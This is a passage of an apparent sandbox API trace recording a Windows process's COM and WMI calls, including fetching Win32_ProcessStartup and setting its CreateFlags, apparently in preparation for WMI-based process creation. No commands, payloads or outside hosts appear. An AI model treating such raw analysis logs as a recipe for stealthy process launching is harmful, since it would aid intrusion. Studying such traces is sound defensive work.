This=0x63cce0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b425bb0) returned 0x0 [0104.166] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b425bb0, pProxy=0x63cce0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0104.166] WbemLocator:IUnknown:Release (This=0x1b425bb0) returned 0x1 [0104.166] WbemLocator:IUnknown:QueryInterface (in: This=0x63cce0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b425bf8) returned 0x0 [0104.167] WbemLocator:IUnknown:QueryInterface (in: This=0x63cce0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b425bb0) returned 0x0 [0104.167] WbemLocator:IClientSecurity:SetBlanket (This=0x1b425bb0, pProxy=0x63cce0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0104.167] WbemLocator:IUnknown:Release (This=0x1b425bb0) returned 0x2 [0104.167] WbemLocator:IUnknown:Release (This=0x1b425bf8) returned 0x1 [0104.167] CoTaskMemFree (pv=0x1b462510) [0104.167] WbemLocator:IUnknown:Release (This=0x1b48a850) returned 0x0 [0104.167] WbemLocator:IUnknown:QueryInterface (in: This=0x63cce0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b425bf8) returned 0x0 [0104.167] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425bf8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0104.169] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425bf8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0104.172] WbemLocator:IUnknown:QueryInterface (in: This=0x63cce0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0104.173] WbemLocator:IUnknown:AddRef (This=0x1b425bf8) returned 0x3 [0104.173] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425bf8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0104.173] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425bf8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0104.173] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425bf8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b425ad8) returned 0x0 [0104.173] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b425ad8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.173] WbemLocator:IUnknown:Release (This=0x1b425ad8) returned 0x3 [0104.173] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0104.173] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0104.173] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425bf8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b425bc0) returned 0x0 [0104.174] WbemLocator:IRpcOptions:Query (in: This=0x1b425bc0, pPrx=0x1b425bf8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0104.174] WbemLocator:IUnknown:Release (This=0x1b425bc0) returned 0x3 [0104.174] WbemLocator:IUnknown:Release (This=0x1b425bf8) returned 0x2 [0104.174] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0104.174] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0104.174] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425bf8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x63cce0) returned 0x0 [0104.174] WbemLocator:IUnknown:AddRef (This=0x63cce0) returned 0x4 [0104.174] WbemLocator:IUnknown:Release (This=0x63cce0) returned 0x3 [0104.174] WbemLocator:IUnknown:Release (This=0x63cce0) returned 0x2 [0104.182] SysStringLen (param_1=0x0) returned 0x0 [0104.183] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0104.183] WbemLocator:IUnknown:AddRef (This=0x1b425bf8) returned 0x3 [0104.183] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425bf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b425bf8) returned 0x0 [0104.184] WbemLocator:IUnknown:Release (This=0x1b425bf8) returned 0x3 [0104.184] WbemLocator:IUnknown:Release (This=0x1b425bf8) returned 0x2 [0104.184] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0104.184] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0104.201] IWbemServices:GetObject (in: This=0x63cce0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4705e0, ppCallResult=0x0) returned 0x0 [0104.219] IWbemClassObject:Get (in: This=0x1b4705e0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0104.222] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0104.222] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0104.223] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0104.223] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0104.223] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0104.223] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.224] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b48ae50) returned 0x0 [0104.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48ae50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0104.224] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ae50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x6563f0) returned 0x0 [0104.224] WbemDefPath:IUnknown:Release (This=0x1b48ae50) returned 0x0 [0104.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x6563f0) returned 0x0 [0104.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0104.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0104.225] WbemDefPath:IUnknown:AddRef (This=0x6563f0) returned 0x3 [0104.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0104.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0104.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b48ac50) returned 0x0 [0104.225] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ac50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.225] WbemDefPath:IUnknown:Release (This=0x1b48ac50) returned 0x3 [0104.225] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0104.225] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0104.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0104.225] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x2 [0104.225] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x1 [0104.225] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0104.225] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0104.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x6563f0) returned 0x0 [0104.225] WbemDefPath:IUnknown:AddRef (This=0x6563f0) returned 0x3 [0104.225] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x2 [0104.225] WbemDefPath:IWbemPath:SetText (This=0x6563f0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0104.244] IWbemClassObject:Get (in: This=0x1b4705e0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29293a0*=0, plFlavor=0x29293a4*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29293a0*=19, plFlavor=0x29293a4*=0) returned 0x0 [0104.256] IWbemClassObject:Get (in: This=0x1b4705e0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29293a0*=19, plFlavor=0x29293a4*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29293a0*=19, plFlavor=0x29293a4*=0) returned 0x0 [0104.259] IWbemClassObject:Put (This=0x1b4705e0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0104.293] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0104.293] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0104.293] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0104.293] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.293] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0104.293] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0104.293] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0104.293] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.294] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b48ab50) returned 0x0 [0104.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48ab50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0104.295] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ab50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x6564b0) returned 0x0 [0104.295] WbemDefPath:IUnknown:Release (This=0x1b48ab50) returned 0x0 [0104.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x6564b0) returned 0x0 [0104.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0104.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0104.296] WbemDefPath:IUnknown:AddRef (This=0x6564b0) returned 0x3 [0104.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0104.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0104.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b48ab90) returned 0x0 [0104.296] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ab90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.296] WbemDefPath:IUnknown:Release (This=0x1b48ab90) returned 0x3 [0104.296] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0104.296] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0104.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0104.296] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x2 [0104.296] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x1 [0104.297] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0104.297] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0104.297] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x6564b0) returned 0x0 [0104.297] WbemDefPath:IUnknown:AddRef (This=0x6564b0) returned 0x3 [0104.297] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x2 [0104.297] WbemDefPath:IWbemPath:SetText (This=0x6564b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0104.297] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0104.297] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0104.297] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.297] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0104.297] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0104.297] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0104.297] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.298] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b48ac30) returned 0x0 [0104.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ac30, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0104.298] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b48ac30, pUnkOuter=0x0, 